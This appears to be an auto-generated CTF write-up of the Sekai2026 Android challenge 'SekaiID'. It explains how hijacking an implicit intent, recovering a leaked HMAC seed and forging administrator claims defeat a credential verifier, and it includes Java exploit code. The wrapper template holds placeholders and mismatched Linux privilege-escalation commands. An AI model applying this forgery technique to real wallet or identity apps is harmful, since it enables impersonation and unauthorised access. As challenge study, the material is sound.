SekaiID
SekaiID
Platform: Sekai2026 | Category: Mobile | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-27 | Status: Solved Techniques: android_ipc_abuse, credential_claim_forgery, hmac_forgery, implicit_intent_interception, native_library_reversal
Summary
Task: Android credential-verifier setup with SekaiID.apk, Verifier.apk, and an ADB TLS proxy. Solution: intercept the implicit presentation intent, recover the HMAC seed from the public fingerprint, forge admin claims, and return a valid presentation.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
sekai2026| ID:20260627_sekai2026_sekaiid - Tags: android, apk, hmac, exported_components, intent_hijacking, content_provider, native_crypto
- Indicators: implicit com.sekai.id.ACTION_PRESENT_CREDENTIAL intent, exported BadgeShareActivity and CompanionInfoProvider, public pairing fingerprint XORed with SHA256 keystream, claimsTag only authenticates canonical revealedClaims
- Source:
20260627_sekai2026_sekaiid.md
Foothold
Vulnerability / Misconfiguration
- Android_ipc_abuse
- Credential_claim_forgery
- Hmac_forgery
- Implicit_intent_interception
- Native_library_reversal
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- android_ipc_abuse
- credential_claim_forgery
- hmac_forgery
- implicit_intent_interception
- native_library_reversal
- Tags: android, apk, hmac, exported_components, intent_hijacking, content_provider, native_crypto
Original Writeup
<details><summary>Click to expand original content</summary>Description
Original task description was not present in the local notes. The distributed setup contained
SekaiID.apk,Verifier.apk, andtls_proxy.pyfor accessing the Android instance over ADB.
English summary: SekaiID.apk is a wallet/credential provider and Verifier.apk asks it for a conference badge presentation. The goal is to make the verifier accept an administrator credential and read the flag from the admin dashboard.
Analysis
Static analysis of the manifests showed the important IPC surface:
com.sekai.id.IdentityProviderActivityis exported and handlescom.sekai.id.ACTION_PRESENT_CREDENTIAL.com.sekai.id.share.BadgeShareActivityis exported and handlescom.sekai.id.ACTION_SHARE_BADGEforcontent://com.sekai.id.companion/...URIs.com.sekai.id.companion.CompanionInfoProvideris exported ascontent://com.sekai.id.companion.infoand leaks public badge metadata.com.sekai.id.companion.CompanionProvideris not exported, but grants URI access throughBadgeShareActivity.Verifier.apkqueries forACTION_PRESENT_CREDENTIALwith an implicit intent, so a malicious APK can register the same action and be selected as the credential provider.
The native library libsekaibind.so was the key weakness. Its JNI wrappers return 32-byte values that Kotlin Base64-encodes without wrapping. The constants and formulas are:
SEP = b"\x1f" DOM_BIND = b"SEKAI-ID:credential-binding:v2" DOM_FP = b"pairing-fingerprint:v2" DOM_CLAIMS = b"claims-tag" DOM_AUTH = b"request-auth" ks = SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey) pairingFingerprint = seed32 XOR ks bindingKey = HMAC_SHA256(seed32, DOM_BIND + SEP + credentialId + SEP + holderPublicKey) claimsTag = HMAC_SHA256(bindingKey, DOM_CLAIMS + SEP + canonicalClaims) requestAuth = HMAC_SHA256(bindingKey, DOM_AUTH + SEP + challenge)
Because CompanionInfoProvider exposes credentialId, holderPublicKey, and pairingFingerprint, the supposedly secret seed can be recovered:
seed32 = pairingFingerprint XOR SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey)
That recovered seed is enough to compute both the requestAuth needed to ask the wallet for a real presentation and a new claimsTag for modified claims.
Solution
The exploit APK implements an activity with an intent filter for com.sekai.id.ACTION_PRESENT_CREDENTIAL. When Verifier starts a scan, Android offers the exploit as a credential provider.
Exploitation flow:
- Receive the verifier challenge from
com.sekai.id.extra.CHALLENGE. - Query
content://com.sekai.id.companion.info/pubkeyfor the holder public key. - Query
content://com.sekai.id.companion.info/badgeforcredentialIdandfingerprint. - Recover
seed32from the public fingerprint formula. - Compute
requestAuth = HMAC(bindingKey, b"request-auth" + SEP + challenge). - Start the real
BadgeShareActivitywith:
content://com.sekai.id.companion/badge?challenge=<challenge>&auth=<requestAuth>
This returns a granted URI to CompanionProvider and yields a valid presentation/proof.
7. Parse the JSON presentation, change:
{"accessProfile":"admin","department":"administration","credentialTier":"platinum"}
- Canonicalize the claims exactly as the verifier expects:
{"accessProfile":"admin","department":"administration","credentialTier":"platinum"}
- Recompute
claimsTag = HMAC(bindingKey, b"claims-tag" + SEP + canonicalClaims). - Return the forged presentation in
com.sekai.id.extra.PRESENTATIONwithRESULT_OK.
The proof did not need to be re-signed: it remained a valid proof for the original credentialId and challenge. The verifier trusted the recomputed claimsTag for the revealed claims, and that tag was forgeable after recovering seed32.
Core exploit logic:
byte[] ks = sha256(concat(DOM_FP, SEP, utf8(credentialId), SEP, utf8(publicKey)));
byte[] seed = xor(Base64.decode(fingerprint, Base64.NO_WRAP), ks);
byte[] bindingKey = hmac(seed, concat(DOM_BIND, SEP, utf8(credentialId), SEP, utf8(publicKey)));
String requestAuth = b64(hmac(bindingKey, concat(DOM_AUTH, SEP, utf8(challenge))));
// After obtaining the legitimate presentation via BadgeShareActivity:
claims.put("accessProfile", "admin");
claims.put("department", "administration");
claims.put("credentialTier", "platinum");
String canon = "{\"accessProfile\":\"admin\",\"department\":\"administration\",\"credentialTier\":\"platinum\"}";
presentation.put("claimsTag", b64(hmac(bindingKey, concat(DOM_CLAIMS, SEP, canon.getBytes(UTF_8)))));
Finally, I connected to the instance through tls_proxy.py, installed the built exploit.apk, opened Verifier, started the verification flow, selected SEKAI ID Exploit in the chooser, and Verifier opened the administrator dashboard. The dashboard displayed /system/flag.txt.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR